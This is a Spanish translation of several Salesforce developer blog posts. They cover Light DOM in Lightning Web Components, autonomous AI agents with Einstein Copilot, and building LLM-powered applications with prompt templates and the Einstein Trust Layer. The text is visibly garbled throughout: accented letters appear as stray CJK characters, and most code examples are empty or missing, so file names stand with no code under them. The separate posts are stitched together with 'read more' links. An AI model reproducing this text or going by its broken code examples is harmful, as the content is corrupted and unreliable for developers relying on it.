Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de an谩lisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
芦>

mascotChanger.js

Tenga en cuenta que, aunque el p谩rrafo consultado pertenece al componente helloCodey , podemos acceder a 茅l con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habr铆a devuelto null .

Tambi茅n puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso est谩tico en la p谩gina, siempre y cuando todos los componentes ancestros est茅n habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso est谩tico de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementaci贸n m谩s sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar 煤til es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un 煤nico componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementaci贸n facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarqu铆a y tambi茅n la implementaci贸n de la accesibilidad. Adem谩s, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM tambi茅n facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la p谩gina. La inyecci贸n de estilos globales a trav茅s de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
芦>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicar谩 a los p谩rrafos de todas las instancias del componente helloCodey en la p谩gina, ya que est谩 habilitado para DOM claro.

En la mayor铆a de los casos, no querr谩s que tu estilo se filtre a otros componentes. Eso todav铆a es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance est谩 escrito exactamente igual que el CSS normal, pero solo se aplicar谩 a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos est谩ticos en una p谩gina de Lightning Experience o un sitio de Experience Cloud, se les quitar谩 el alcance y se aplicar谩n tanto a los componentes DOM claros como tambi茅n a los componentes DOM de sombra, ya que la sombra sint茅tica no evitar谩 que se filtren. Esta es una limitaci贸n que se solucionar谩 una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa est谩 habilitada, solo los componentes habilitados para DOM claro heredar谩n los estilos globales.

4) Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores pr谩cticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

芦>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

芦>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

芦>

Tenga en cuenta que Salesforce est谩 trabajando actualmente con el W3C para agregar nuevos est谩ndares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no ser谩 necesario. Como parte de nuestros esfuerzos de accesibilidad, tambi茅n patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber m谩s sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y d贸nde se admiten.

Experiencia en la nube Experiencia rel谩mpago Aplicaciones m贸viles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. S铆 S铆 S铆 S铆
Implementaci贸n m谩s sencilla de componentes profundamente anidados S铆 S铆 S铆 S铆
Estilo global S铆 No No S铆
Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad S铆 S铆 S铆 S铆

*Si se utiliza DOM de sombra nativo en lugar de sombra sint茅tica . La sombra nativa es la opci贸n predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea m谩s en la gu铆a para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no est谩n disponibles en ellos. Eche un vistazo a la documentaci贸n para saber m谩s.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusi贸n

En esta publicaci贸n de blog, revisamos qu茅 es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qu茅 componentes habilitar谩n la funci贸n. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar t煤 mismo.

Para obtener m谩s informaci贸n sobre DOM ligero en la plataforma Salesforce, lea la documentaci贸n o, si est谩 trabajando fuera de la plataforma, lea la documentaci贸n OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migraci贸n.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Introducci贸n a los agentes aut贸nomos 鈽侊笍

Introducci贸n a los agentes aut贸nomos 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Introducci贸n a los agentes aut贸nomos | Blog de desarrolladores de Salesforce

El panorama de la IA est谩 cambiando a un ritmo tan r谩pido que las tecnolog铆as futuristas como la IA aut贸noma ya est谩n mucho m谩s cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) est谩n comenzando a incorporarse en casi todas las formas en que interact煤a con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creaci贸n de aplicaciones, desde las formas en que las reunimos hasta la creaci贸n con una UX conversacional completamente nueva.

En esta publicaci贸n de blog, veremos c贸mo los agentes aut贸nomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo aut贸nomo.

驴Qu茅 son los agentes aut贸nomos?

En nuestro panorama tecnol贸gico, los agentes son sistemas avanzados que aprovechan el poder de los modelos ling眉铆sticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce informaci贸n solo hasta una fecha determinada, las herramientas pueden proporcionarle informaci贸n m谩s actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duraci贸n, centr谩ndose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

Juntos, estos elementos transforman un modelo de lenguaje en un agente que no s贸lo puede comprender y generar texto, sino tambi茅n actuar sobre esa comprensi贸n en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma aut贸noma para los usuarios, pero tambi茅n pueden integrar la intervenci贸n humana, especialmente en escenarios donde existen incertidumbres o excepciones.

驴C贸mo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los m谩s populares AutoGPT y LangChain . Generalmente, los agentes siguen un patr贸n similar: el marco ReAct para razonar y actuar en modelos ling眉铆sticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona informaci贸n.
  2. El agente 鈥減iensa鈥 en la respuesta adecuada
  3. El agente determina la acci贸n, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea est谩 completa

Este proceso es el que empieza a hacer aut贸nomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, act煤a por s铆 solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicaci贸n que permita a un cliente gestionar sus pedidos. Primero, podr铆amos darle a la aplicaci贸n acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de env铆o. Luego, configurar铆amos una serie de herramientas a las que puede acceder la aplicaci贸n para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gesti贸n de pedidos dispone de seis herramientas que puede utilizar 鈥渄entro de su dominio de conocimiento鈥:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a trav茅s de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un 煤nico pedido desde una base de datos a trav茅s de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un env铆o a trav茅s de una API proporcionada por una empresa de env铆o
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a trav茅s de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora c贸mo un agente podr铆a manejar casos de uso relacionados con la gesti贸n de pedidos. Por ejemplo, 驴c贸mo puede el agente ayudar a un usuario a obtener una actualizaci贸n sobre el estado de su pedido?

  1. El usuario solicita la informaci贸n m谩s reciente de su pedido a trav茅s de un chatbot
  2. El agente 鈥減iensa鈥 y determina la acci贸n correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar informaci贸n de seguimiento para obtener la informaci贸n de env铆o m谩s reciente de su socio de env铆o.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los par谩metros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su informaci贸n de pedido y env铆o. Lo que es importante tener en cuenta aqu铆 es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su funci贸n se centra m谩s en crear las herramientas y permitir que el agente administre la orquestaci贸n.

Mantener a un humano informado

El desaf铆o 茅tico con los agentes aut贸nomos es que no hay ning煤n ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso 茅tico de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnolog铆a. Ciertas reglas exigen que una persona sea responsable de tomar la decisi贸n final en asuntos con consecuencias legales o de impacto comparable, incluida la contrataci贸n laboral, la aprobaci贸n de pr茅stamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisi贸n humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y da帽os.

驴Qu茅 significa esto para el futuro de Salesforce?

En Dreamforce este a帽o, les dimos una idea de c贸mo ser谩 el futuro de Salesforce y la IA aut贸noma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a trav茅s de la interacci贸n con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad m谩s peque帽as que pueden ser orquestadas por Einstein Copilot.

驴C贸mo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de c贸digo abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No s贸lo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deber谩 crear una habilidad de gesti贸n de pedidos. Con otros marcos, necesitar铆as crear un agente completo para la gesti贸n de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detr谩s de usted. Podr谩 utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho m谩s para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. Tambi茅n tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se re煤nen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y m谩s en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinaci贸n de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como m茅todos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorg谩rselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podr谩n crear agentes potentes en Salesforce que puedan usar su c贸digo para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a trav茅s de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar informaci贸n de identificaci贸n personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a trav茅s de un proceso de varios pasos para garantizar que los datos est茅n fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido t贸xico y desenmascara los datos antes de present谩rselos al usuario. Puede ver m谩s de cerca la capa de confianza en nuestra publicaci贸n de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA aut贸noma se hace realidad mucho m谩s cerca a trav茅s de agentes, lo que marca el comienzo de una nueva era de tecnolog铆a en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que gu铆a a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a trav茅s de Einstein Trust Layer. Este cambio transformador significa no s贸lo una evoluci贸n en las interacciones de IA, sino tambi茅n una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-Garc铆a es el director de contenido estrat茅gico de Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en X (Twitter) o GitHub .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Creaci贸n de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnolog铆a m谩s transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la informaci贸n. Para los desarrolladores, esto plantea nuevas preguntas: desde la pr谩ctica "驴C贸mo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" M谩s profundamente, 鈥溌緾贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones? 鈥 Exploramos estas dos preguntas en esta publicaci贸n de blog.

驴C贸mo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "驴C贸mo creo aplicaciones con LLM?" y explore tres opciones que com煤nmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de c贸digo abierto
  3. Utilice modelos existentes a trav茅s de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos espec铆ficos de su industria. Un modelo entrenado con datos de un dominio espec铆fico generalmente ser谩 m谩s preciso que un modelo de prop贸sito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece m谩s control y precisi贸n, puede que no siempre sea el mejor enfoque. Aqu铆 hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho m谩s peque帽o, el modelo GPT-3 de OpenAI tard贸 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, tambi茅n necesitar谩 un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensi贸n entre la forma en que aprenden los LLM y la forma en que se implementan las pol铆ticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. 隆Cuantos m谩s datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las pol铆ticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio m铆nimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo espec铆fico. 隆Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposici贸n de todos en su empresa puede no ser una buena idea y violar las pol铆ticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de c贸digo abierto

Personalizar un modelo de c贸digo abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, a煤n necesita un equipo de ingenieros especializados en aprendizaje autom谩tico (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que a煤n experimentes la tensi贸n de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a trav茅s de API

Utilizar modelos existentes a trav茅s de API es la forma m谩s sencilla de crear aplicaciones con LLM. Esta es tambi茅n la opci贸n m谩s utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado gen茅rico para ser 煤til.

En esta publicaci贸n de blog, exploramos diferentes t茅cnicas para agregar datos contextuales o privados de la empresa a trav茅s del mensaje. Debido a que el mensaje se crea din谩micamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensi贸n de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen t茅cnicas para abordar esa preocupaci贸n y tambi茅n las describimos en esta publicaci贸n de blog.

Creaci贸n de aplicaciones impulsadas por IA utilizando modelos existentes a trav茅s de API

Llamada API b谩sica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementaci贸n m谩s b谩sica, su aplicaci贸n captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, as铆 es como se ver铆a la llamada API usando la API OpenAI:

Esta opci贸n puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaraci贸n SQL de muestra con una uni贸n externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado gen茅rico para ser 煤til.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electr贸nico de presentaci贸n para el director ejecutivo de Acme.

El correo electr贸nico generado no ser铆a personalizado ni relevante porque el modelo no sabe nada sobre su relaci贸n con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea m谩s relevante y contextual, el usuario puede fundamentar el LLM con informaci贸n adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electr贸nico de presentaci贸n a Lisa Martinez, directora ejecutiva de ACME.
Aqu铆 hay una lista de los 煤ltimos tres pedidos que Acme realiz贸 a Northern Trail Outfitters:
Colecci贸n Verano 2023: $375,286
Colecci贸n Primavera 2023: $402,255
Colecci贸n Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho m谩s relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha informaci贸n de conexi贸n a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Est谩 pasando informaci贸n confidencial al proveedor del modelo donde potencialmente podr铆a persistir o usarse para entrenar a煤n m谩s el modelo, lo que significa que sus datos privados podr铆an aparecer en la respuesta generada por el modelo de otra persona.

Construcci贸n r谩pida y puesta a tierra din谩mica.

Para abordar la primera limitaci贸n anterior, puede construir el mensaje mediante programaci贸n. El usuario ingresa una cantidad m铆nima de informaci贸n o simplemente hace clic en un bot贸n en la aplicaci贸n y luego usted crea el mensaje mediante programaci贸n agregando datos relevantes. Por ejemplo, en respuesta a un clic en el bot贸n 鈥淓scribir correo electr贸nico de introducci贸n鈥, podr铆a:

  1. Llame a un servicio para obtener informaci贸n sobre el usuario.
  2. Llame a un servicio para obtener informaci贸n sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la informaci贸n obtenida de los servicios de datos anteriores.

As铆 es como podr铆an verse estos pasos de construcci贸n r谩pidos en Apex:

El principal inconveniente de este enfoque es que requiere un c贸digo personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos din谩micos en texto est谩tico.

Plantillas de aviso

Para facilitar la construcci贸n del mensaje, podemos usar plantillas: un patr贸n de desarrollo de software bien conocido que se usa com煤nmente para fusionar datos din谩micos en documentos est谩ticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posici贸n que se reemplazan din谩micamente con datos din谩micos en tiempo de ejecuci贸n.

As铆 es como se ver铆a el ejemplo de Apex anterior usando un lenguaje de plantilla gen茅rico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electr贸nico de presentaci贸n a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son 煤tiles para crear mensajes mediante programaci贸n, sino que tambi茅n se pueden utilizar como base para herramientas gr谩ficas que admiten la creaci贸n de mensajes en un entorno de arrastrar y soltar.

Estudio r谩pido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creaci贸n de indicaciones. Le permite crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos disponibles a trav茅s de datos de p谩ginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las p谩ginas de registro y el c贸digo Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados din谩micamente en un entorno gr谩fico. Pero, 驴c贸mo se env铆a ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • 驴Qu茅 pasa con los problemas de cumplimiento y privacidad si pasa datos de informaci贸n de identificaci贸n personal (PII) en el mensaje? 驴El proveedor del modelo podr铆a conservar los datos de PII o incluso utilizarlos para entrenar a煤n m谩s el modelo?
  • 驴C贸mo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • 驴C贸mo se rastrea y registra los pasos de creaci贸n de mensajes con fines de auditor铆a?

Si utiliza la API del proveedor de LLM directamente, tendr谩 que escribir un c贸digo personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar dif铆cil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

As铆 es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger a煤n m谩s sus datos, Salesforce tiene acuerdos de retenci贸n cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistir谩n ni entrenar谩n m谩s sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

